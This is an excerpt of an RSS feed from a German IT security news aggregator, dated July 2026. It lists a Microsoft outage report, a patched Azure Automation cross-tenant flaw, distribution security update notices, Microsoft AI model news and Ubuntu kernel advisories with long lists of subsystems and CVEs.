<content:encoded><![CDATA[Microsoft says a bug in its automated network maintenance request system caused Thursday's massive outage by mistakenly removing IP routes from more devices than intended, disrupting Azure and Microsoft 365 services. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[Default Azure Automation Setting Enables Cross-Tenant Identity Takeover]]></title>
<description><![CDATA[Microsoft addressed a public-by-default configuration and chain of code flaws in Azure Automation which could have let attackers seize another tenant's identity and access other tenants' data, credentials, and cloud workloads.]]></description>
<link>https://tsecurity.de/de/3691868/it-security-nachrichten/default-azure-automation-setting-enables-cross-tenant-identity-takeover/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691868/it-security-nachrichten/default-azure-automation-setting-enables-cross-tenant-identity-takeover/</guid>
<pubDate>Fri, 24 Jul 2026 17:05:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft addressed a public-by-default configuration and chain of code flaws in Azure Automation which could have let attackers seize another tenant's identity and access other tenants' data, credentials, and cloud workloads.]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Friday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (glibc, java-21-openjdk, kernel, and libpq), Debian (imagemagick, spice-vdagent, and webkit2gtk), Fedora (cryptlib, dotnet8.0, dotnet9.0, firefox, python-black, python-lsp-black, and python-pytokens), Mageia (apache, cifs-utils, dnsmasq, lrzip, and s...]]></description>
<link>https://tsecurity.de/de/3691648/linux-tipps/security-updates-for-friday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691648/linux-tipps/security-updates-for-friday/</guid>
<pubDate>Fri, 24 Jul 2026 15:13:19 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (glibc, java-21-openjdk, kernel, and libpq), <b>Debian</b> (imagemagick, spice-vdagent, and webkit2gtk), <b>Fedora</b> (cryptlib, dotnet8.0, dotnet9.0, firefox, python-black, python-lsp-black, and python-pytokens), <b>Mageia</b> (apache, cifs-utils, dnsmasq, lrzip, and socat), <b>Oracle</b> (.NET 10.0, .NET 9.0, 389-ds-base, cups, edk2, fence-agents, firefox, freeipmi, freerdp, git-lfs, glib2, gnutls, golang, gstreamer1-plugins-bad-free, gstreamer1-plugins-good, gstreamer1-plugins-ugly-free, hplip, libinput, libvirt, libxml2, memcached, nginx, openexr, perl-DBI, perl-XML-LibXML, php, php8.4, plexus-utils, postgresql16, python3.12, python3.14, sssd, tomcat, tomcat9, unbound, vim, xorg-x11-server-Xwayland, yggdrasil, and yggdrasil-worker-package-manager), <b>Red Hat</b> (container-tools:rhel8, git-lfs, go-toolset:rhel8, golang, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, host-metering, java-1.8.0-openjdk, java-11-openjdk with Extended Lifecycle Support, java-17-openjdk, java-21-openjdk, oci-seccomp-bpf-hook, rhc, rhc-worker-playbook, skopeo, xorg-x11-server, xorg-x11-server-Xwayland, and yggdrasil), <b>Slackware</b> (mozilla-thunderbird), <b>SUSE</b> (afterburn, alloy, apache-sshd, apache2, avahi, chromium, clamav, curl, dhcpcd, dnsmasq, docker-compose, ffmpeg-7, firefox-esr, gawk, glibc, gnutls, go1.26-openssl, google-osconfig-agent, gpg2, haproxy, ImageMagick, imagemagick, jline3, jq, kernel, libgcrypt, libgnt, meson, pidgin, nmap, nodejs24, pacemaker, patch, perl-HTML-Parser, perl-libwww-perl, perl-List-SomeUtils-XS, python-aiohttp, python-WebOb, qemu, rust-keylime, SVT-AV1, libyuv0, libaom3, trivy, ucode-intel, and wireshark), and <b>Ubuntu</b> (libhttp-date-perl, libxpm, linux-azure, linux-azure-fde, pam, and rsyslog).]]></content:encoded>
</item>
<item>
<title><![CDATA[Künstliche Intelligenz: Microsoft AI führt zwei neue KI-Modelle ein]]></title>
<description><![CDATA[Microsoft baut die Verwendung der hauseigenen MAI-Modelle weiter aus. Wie die Kollegen von Thurrott berichten, wird das Sprachmodell MAI-Voice-2-Flash nun flächendeckend in Azure Voice Live sowie Dynamics 365 Contact Center verwendet. Wichtiger ist allerdings das neue Bildmodell MAI-Image-2.5-Pro...]]></description>
<link>https://tsecurity.de/de/3691564/it-nachrichten/kuenstliche-intelligenz-microsoft-ai-fuehrt-zwei-neue-ki-modelle-ein/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691564/it-nachrichten/kuenstliche-intelligenz-microsoft-ai-fuehrt-zwei-neue-ki-modelle-ein/</guid>
<pubDate>Fri, 24 Jul 2026 14:52:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img src="https://www.drwindows.de/news/wp-content/uploads/2025/10/mai_image_1.jpg" class="attachment-single-thumb size-single-thumb wp-post-image" alt="MAI-Image-1 Bildgenerator" decoding="async" fetchpriority="high" srcset="https://www.drwindows.de/news/wp-content/uploads/2025/10/mai_image_1.jpg 719w, https://www.drwindows.de/news/wp-content/uploads/2025/10/mai_image_1-300x150.jpg 300w, https://www.drwindows.de/news/wp-content/uploads/2025/10/mai_image_1-643x322.jpg 643w" sizes="(max-width: 719px) 100vw, 719px"></div>
<p>Microsoft baut die Verwendung der hauseigenen MAI-Modelle weiter aus. Wie die Kollegen von Thurrott berichten, wird das Sprachmodell MAI-Voice-2-Flash nun flächendeckend in Azure Voice Live sowie Dynamics 365 Contact Center verwendet. Wichtiger ist allerdings das neue Bildmodell MAI-Image-2.5-Pro, welches in Produkte von Microsoft 365 einzieht und in einem Fall die Abhängigkeit von OpenAI beendet. Demnach […]</p>
<p>Der Beitrag <a href="https://www.drwindows.de/news/kuenstliche-intelligenz-microsoft-ai-fuehrt-zwei-neue-ki-modelle-ein">Künstliche Intelligenz: Microsoft AI führt zwei neue KI-Modelle ein</a> erschien zuerst auf <a href="https://www.drwindows.de/news">Dr. Windows</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Die wichtigsten News der Kalenderwoche 30/2026: KI, Data und mehr - Microsoft]]></title>
<description><![CDATA[Einige Tools und Techniken zur Absicherung von Windows Server (engl.) ... Microsoft KI Microsoft Security Azure Dynamics 365 Microsoft 365 Microsoft 365 ...]]></description>
<link>https://tsecurity.de/de/3691558/windows-server/die-wichtigsten-news-der-kalenderwoche-302026-ki-data-und-mehr-microsoft/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691558/windows-server/die-wichtigsten-news-der-kalenderwoche-302026-ki-data-und-mehr-microsoft/</guid>
<pubDate>Fri, 24 Jul 2026 14:48:15 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Einige Tools und Techniken zur Absicherung von <b>Windows Server</b> (engl.) ... Microsoft KI Microsoft Security Azure Dynamics 365 Microsoft 365 Microsoft 365 ...]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8604-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic AP...]]></description>
<link>https://tsecurity.de/de/3691501/unix-server/usn-8604-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691501/unix-server/usn-8604-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:46 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Drivers core;
  - Null block device driver;
  - Bluetooth drivers;
  - Counter interface drivers;
  - DMA engine subsystem;
  - DPLL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - On-Chip Interconnect management framework;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - Modular ISDN driver;
  - LED subsystem;
  - Multiple devices driver;
  - UACCE accelerator framework;
  - MMC subsystem;
  - Ethernet bonding driver;
  - Network drivers;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PHY drivers;
  - x86 platform drivers;
  - i.MX PM domains;
  - SCSI subsystem;
  - SLIMbus drivers;
  - SPI subsystem;
  - TTY drivers;
  - USB Host Controller drivers;
  - USB over IP driver;
  - W1 Dallas's 1-wire bus driver;
  - Xen hypervisor drivers;
  - BTRFS file system;
  - File systems infrastructure;
  - EFI Variable file system;
  - Ext4 file system;
  - FUSE (File system in Userspace);
  - Network file systems library;
  - Network file system (NFS) client;
  - Network file system (NFS) server daemon;
  - SMB network file system;
  - Memory Management;
  - Kernel thread helper (kthread);
  - Memory management;
  - Scheduler infrastructure;
  - Tracing infrastructure;
  - IPv6 networking;
  - Netfilter;
  - NFC subsystem;
  - io_uring subsystem;
  - Perf events;
  - Kernel exit() syscall;
  - Hibernation control;
  - Timer subsystem;
  - BPF subsystem;
  - Floating proportions library;
  - Scatterlist API;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NET/ROM layer;
  - RxRPC session sockets;
  - Network traffic control;
  - SCTP protocol;
  - SMC sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - ALSA AC97 driver;
  - Creative Sound Blaster X-Fi driver;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - USB sound devices;
(CVE-2025-71158, CVE-2025-71160, CVE-2025-71161, CVE-2025-71162,
CVE-2025-71163, CVE-2025-71180, CVE-2025-71182, CVE-2025-71183,
CVE-2025-71184, CVE-2025-71185, CVE-2025-71186, CVE-2025-71187,
CVE-2025-71188, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191,
CVE-2025-71192, CVE-2025-71193, CVE-2025-71194, CVE-2025-71195,
CVE-2025-71196, CVE-2025-71197, CVE-2025-71198, CVE-2025-71199,
CVE-2025-71200, CVE-2025-71201, CVE-2026-22976, CVE-2026-22977,
CVE-2026-22978, CVE-2026-22979, CVE-2026-22980, CVE-2026-22981,
CVE-2026-22982, CVE-2026-22984, CVE-2026-22985, CVE-2026-22986,
CVE-2026-22987, CVE-2026-22989, CVE-2026-22990, CVE-2026-22991,
CVE-2026-22992, CVE-2026-22993, CVE-2026-22994, CVE-2026-22996,
CVE-2026-22997, CVE-2026-22998, CVE-2026-22999, CVE-2026-23000,
CVE-2026-23001, CVE-2026-23002, CVE-2026-23003, CVE-2026-23004,
CVE-2026-23005, CVE-2026-23006, CVE-2026-23007, CVE-2026-23008,
CVE-2026-23009, CVE-2026-23010, CVE-2026-23011, CVE-2026-23012,
CVE-2026-23013, CVE-2026-23014, CVE-2026-23015, CVE-2026-23017,
CVE-2026-23018, CVE-2026-23019, CVE-2026-23020, CVE-2026-23021,
CVE-2026-23022, CVE-2026-23023, CVE-2026-23024, CVE-2026-23025,
CVE-2026-23026, CVE-2026-23030, CVE-2026-23031, CVE-2026-23032,
CVE-2026-23033, CVE-2026-23034, CVE-2026-23035, CVE-2026-23036,
CVE-2026-23037, CVE-2026-23038, CVE-2026-23042, CVE-2026-23044,
CVE-2026-23045, CVE-2026-23046, CVE-2026-23047, CVE-2026-23049,
CVE-2026-23050, CVE-2026-23051, CVE-2026-23052, CVE-2026-23053,
CVE-2026-23054, CVE-2026-23055, CVE-2026-23056, CVE-2026-23057,
CVE-2026-23058, CVE-2026-23059, CVE-2026-23061, CVE-2026-23062,
CVE-2026-23063, CVE-2026-23064, CVE-2026-23065, CVE-2026-23066,
CVE-2026-23067, CVE-2026-23068, CVE-2026-23069, CVE-2026-23070,
CVE-2026-23071, CVE-2026-23072, CVE-2026-23073, CVE-2026-23075,
CVE-2026-23076, CVE-2026-23077, CVE-2026-23078, CVE-2026-23079,
CVE-2026-23080, CVE-2026-23081, CVE-2026-23083, CVE-2026-23084,
CVE-2026-23085, CVE-2026-23086, CVE-2026-23087, CVE-2026-23088,
CVE-2026-23089, CVE-2026-23090, CVE-2026-23092, CVE-2026-23093,
CVE-2026-23094, CVE-2026-23095, CVE-2026-23096, CVE-2026-23097,
CVE-2026-23098, CVE-2026-23099, CVE-2026-23100, CVE-2026-23101,
CVE-2026-23102, CVE-2026-23103, CVE-2026-23104, CVE-2026-23105,
CVE-2026-23106, CVE-2026-23107, CVE-2026-23108, CVE-2026-23109,
CVE-2026-23110, CVE-2026-23113, CVE-2026-23114, CVE-2026-23115,
CVE-2026-23116, CVE-2026-23118, CVE-2026-23119, CVE-2026-23120,
CVE-2026-23121, CVE-2026-23122, CVE-2026-23123, CVE-2026-23124,
CVE-2026-23125, CVE-2026-23126, CVE-2026-23128, CVE-2026-23129,
CVE-2026-23130, CVE-2026-23131, CVE-2026-23133, CVE-2026-23135,
CVE-2026-23136, CVE-2026-23137, CVE-2026-23138, CVE-2026-23139,
CVE-2026-23140, CVE-2026-23141, CVE-2026-23142, CVE-2026-23143,
CVE-2026-23144, CVE-2026-23145, CVE-2026-23146, CVE-2026-23147,
CVE-2026-23148, CVE-2026-23150, CVE-2026-23151, CVE-2026-23152,
CVE-2026-23154, CVE-2026-23156, CVE-2026-23157, CVE-2026-23158,
CVE-2026-23159, CVE-2026-23160, CVE-2026-23161, CVE-2026-23162,
CVE-2026-23163, CVE-2026-23164, CVE-2026-23165, CVE-2026-23166,
CVE-2026-23167, CVE-2026-23168, CVE-2026-23169, CVE-2026-23170,
CVE-2026-23171, CVE-2026-23172, CVE-2026-23173, CVE-2026-23212,
CVE-2026-23272, CVE-2026-23278, CVE-2026-23392, CVE-2026-23427,
CVE-2026-23428, CVE-2026-23450, CVE-2026-23455, CVE-2026-31402,
CVE-2026-31418, CVE-2026-31436, CVE-2026-31448, CVE-2026-31478,
CVE-2026-31607, CVE-2026-31635, CVE-2026-31637, CVE-2026-31649,
CVE-2026-31657, CVE-2026-31659, CVE-2026-31668, CVE-2026-31669,
CVE-2026-31682, CVE-2026-31685, CVE-2026-31718, CVE-2026-43011,
CVE-2026-43037, CVE-2026-43038, CVE-2026-43071, CVE-2026-43083,
CVE-2026-43114, CVE-2026-43117, CVE-2026-43125, CVE-2026-43185,
CVE-2026-43186, CVE-2026-43197, CVE-2026-43304, CVE-2026-43341,
CVE-2026-43376, CVE-2026-43378, CVE-2026-43383, CVE-2026-43384,
CVE-2026-43402, CVE-2026-43406, CVE-2026-43407, CVE-2026-43414,
CVE-2026-43493, CVE-2026-43501, CVE-2026-45898, CVE-2026-45988,
CVE-2026-46039, CVE-2026-46043, CVE-2026-46084, CVE-2026-46115,
CVE-2026-46119, CVE-2026-46135, CVE-2026-46185, CVE-2026-46195,
CVE-2026-46243, CVE-2026-46244, CVE-2026-46266, CVE-2026-46289,
CVE-2026-46290, CVE-2026-46316, CVE-2026-46317, CVE-2026-46325,
CVE-2026-53277, CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8605-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic AP...]]></description>
<link>https://tsecurity.de/de/3691500/unix-server/usn-8605-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691500/unix-server/usn-8605-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:44 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Drivers core;
  - Null block device driver;
  - Bluetooth drivers;
  - Counter interface drivers;
  - DMA engine subsystem;
  - DPLL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - On-Chip Interconnect management framework;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - Modular ISDN driver;
  - LED subsystem;
  - Multiple devices driver;
  - UACCE accelerator framework;
  - MMC subsystem;
  - Ethernet bonding driver;
  - Network drivers;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PHY drivers;
  - x86 platform drivers;
  - i.MX PM domains;
  - SCSI subsystem;
  - SLIMbus drivers;
  - SPI subsystem;
  - TTY drivers;
  - USB Host Controller drivers;
  - USB over IP driver;
  - W1 Dallas's 1-wire bus driver;
  - Xen hypervisor drivers;
  - BTRFS file system;
  - File systems infrastructure;
  - EFI Variable file system;
  - Ext4 file system;
  - FUSE (File system in Userspace);
  - Network file systems library;
  - Network file system (NFS) client;
  - Network file system (NFS) server daemon;
  - SMB network file system;
  - Memory Management;
  - Kernel thread helper (kthread);
  - Memory management;
  - Scheduler infrastructure;
  - Tracing infrastructure;
  - IPv6 networking;
  - Netfilter;
  - NFC subsystem;
  - io_uring subsystem;
  - Perf events;
  - Kernel exit() syscall;
  - Hibernation control;
  - Timer subsystem;
  - BPF subsystem;
  - Floating proportions library;
  - Scatterlist API;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NET/ROM layer;
  - RxRPC session sockets;
  - Network traffic control;
  - SCTP protocol;
  - SMC sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - ALSA AC97 driver;
  - Creative Sound Blaster X-Fi driver;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - USB sound devices;
(CVE-2025-71158, CVE-2025-71160, CVE-2025-71161, CVE-2025-71162,
CVE-2025-71163, CVE-2025-71180, CVE-2025-71182, CVE-2025-71183,
CVE-2025-71184, CVE-2025-71185, CVE-2025-71186, CVE-2025-71187,
CVE-2025-71188, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191,
CVE-2025-71192, CVE-2025-71193, CVE-2025-71194, CVE-2025-71195,
CVE-2025-71196, CVE-2025-71197, CVE-2025-71198, CVE-2025-71199,
CVE-2025-71200, CVE-2025-71201, CVE-2026-22976, CVE-2026-22977,
CVE-2026-22978, CVE-2026-22979, CVE-2026-22980, CVE-2026-22981,
CVE-2026-22982, CVE-2026-22984, CVE-2026-22985, CVE-2026-22986,
CVE-2026-22987, CVE-2026-22989, CVE-2026-22990, CVE-2026-22991,
CVE-2026-22992, CVE-2026-22993, CVE-2026-22994, CVE-2026-22996,
CVE-2026-22997, CVE-2026-22998, CVE-2026-22999, CVE-2026-23000,
CVE-2026-23001, CVE-2026-23002, CVE-2026-23003, CVE-2026-23004,
CVE-2026-23005, CVE-2026-23006, CVE-2026-23007, CVE-2026-23008,
CVE-2026-23009, CVE-2026-23010, CVE-2026-23011, CVE-2026-23012,
CVE-2026-23013, CVE-2026-23014, CVE-2026-23015, CVE-2026-23017,
CVE-2026-23018, CVE-2026-23019, CVE-2026-23020, CVE-2026-23021,
CVE-2026-23022, CVE-2026-23023, CVE-2026-23024, CVE-2026-23025,
CVE-2026-23026, CVE-2026-23030, CVE-2026-23031, CVE-2026-23032,
CVE-2026-23033, CVE-2026-23034, CVE-2026-23035, CVE-2026-23036,
CVE-2026-23037, CVE-2026-23038, CVE-2026-23042, CVE-2026-23044,
CVE-2026-23045, CVE-2026-23046, CVE-2026-23047, CVE-2026-23049,
CVE-2026-23050, CVE-2026-23051, CVE-2026-23052, CVE-2026-23053,
CVE-2026-23054, CVE-2026-23055, CVE-2026-23056, CVE-2026-23057,
CVE-2026-23058, CVE-2026-23059, CVE-2026-23061, CVE-2026-23062,
CVE-2026-23063, CVE-2026-23064, CVE-2026-23065, CVE-2026-23066,
CVE-2026-23067, CVE-2026-23068, CVE-2026-23069, CVE-2026-23070,
CVE-2026-23071, CVE-2026-23072, CVE-2026-23073, CVE-2026-23075,
CVE-2026-23076, CVE-2026-23077, CVE-2026-23078, CVE-2026-23080,
CVE-2026-23081, CVE-2026-23083, CVE-2026-23084, CVE-2026-23085,
CVE-2026-23086, CVE-2026-23087, CVE-2026-23088, CVE-2026-23089,
CVE-2026-23090, CVE-2026-23092, CVE-2026-23093, CVE-2026-23094,
CVE-2026-23095, CVE-2026-23096, CVE-2026-23097, CVE-2026-23098,
CVE-2026-23099, CVE-2026-23100, CVE-2026-23101, CVE-2026-23102,
CVE-2026-23103, CVE-2026-23104, CVE-2026-23105, CVE-2026-23106,
CVE-2026-23107, CVE-2026-23108, CVE-2026-23109, CVE-2026-23110,
CVE-2026-23113, CVE-2026-23114, CVE-2026-23115, CVE-2026-23116,
CVE-2026-23118, CVE-2026-23119, CVE-2026-23120, CVE-2026-23121,
CVE-2026-23122, CVE-2026-23123, CVE-2026-23124, CVE-2026-23125,
CVE-2026-23126, CVE-2026-23128, CVE-2026-23129, CVE-2026-23130,
CVE-2026-23131, CVE-2026-23133, CVE-2026-23135, CVE-2026-23136,
CVE-2026-23137, CVE-2026-23138, CVE-2026-23139, CVE-2026-23140,
CVE-2026-23141, CVE-2026-23142, CVE-2026-23143, CVE-2026-23144,
CVE-2026-23145, CVE-2026-23146, CVE-2026-23147, CVE-2026-23148,
CVE-2026-23150, CVE-2026-23151, CVE-2026-23152, CVE-2026-23154,
CVE-2026-23156, CVE-2026-23157, CVE-2026-23158, CVE-2026-23159,
CVE-2026-23160, CVE-2026-23161, CVE-2026-23162, CVE-2026-23163,
CVE-2026-23164, CVE-2026-23165, CVE-2026-23166, CVE-2026-23167,
CVE-2026-23168, CVE-2026-23169, CVE-2026-23170, CVE-2026-23171,
CVE-2026-23172, CVE-2026-23173, CVE-2026-23212, CVE-2026-23272,
CVE-2026-23278, CVE-2026-23392, CVE-2026-23427, CVE-2026-23428,
CVE-2026-23450, CVE-2026-23455, CVE-2026-31402, CVE-2026-31418,
CVE-2026-31436, CVE-2026-31448, CVE-2026-31478, CVE-2026-31607,
CVE-2026-31635, CVE-2026-31637, CVE-2026-31649, CVE-2026-31657,
CVE-2026-31659, CVE-2026-31668, CVE-2026-31669, CVE-2026-31682,
CVE-2026-31685, CVE-2026-31718, CVE-2026-43011, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43071, CVE-2026-43083, CVE-2026-43114,
CVE-2026-43117, CVE-2026-43125, CVE-2026-43185, CVE-2026-43186,
CVE-2026-43197, CVE-2026-43304, CVE-2026-43341, CVE-2026-43376,
CVE-2026-43378, CVE-2026-43383, CVE-2026-43384, CVE-2026-43402,
CVE-2026-43406, CVE-2026-43407, CVE-2026-43414, CVE-2026-43493,
CVE-2026-43501, CVE-2026-45898, CVE-2026-45988, CVE-2026-46039,
CVE-2026-46043, CVE-2026-46084, CVE-2026-46115, CVE-2026-46119,
CVE-2026-46135, CVE-2026-46185, CVE-2026-46195, CVE-2026-46243,
CVE-2026-46244, CVE-2026-46266, CVE-2026-46289, CVE-2026-46290,
CVE-2026-46316, CVE-2026-46317, CVE-2026-46325, CVE-2026-53277,
CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8595-2: Linux kernel (AWS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:43 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
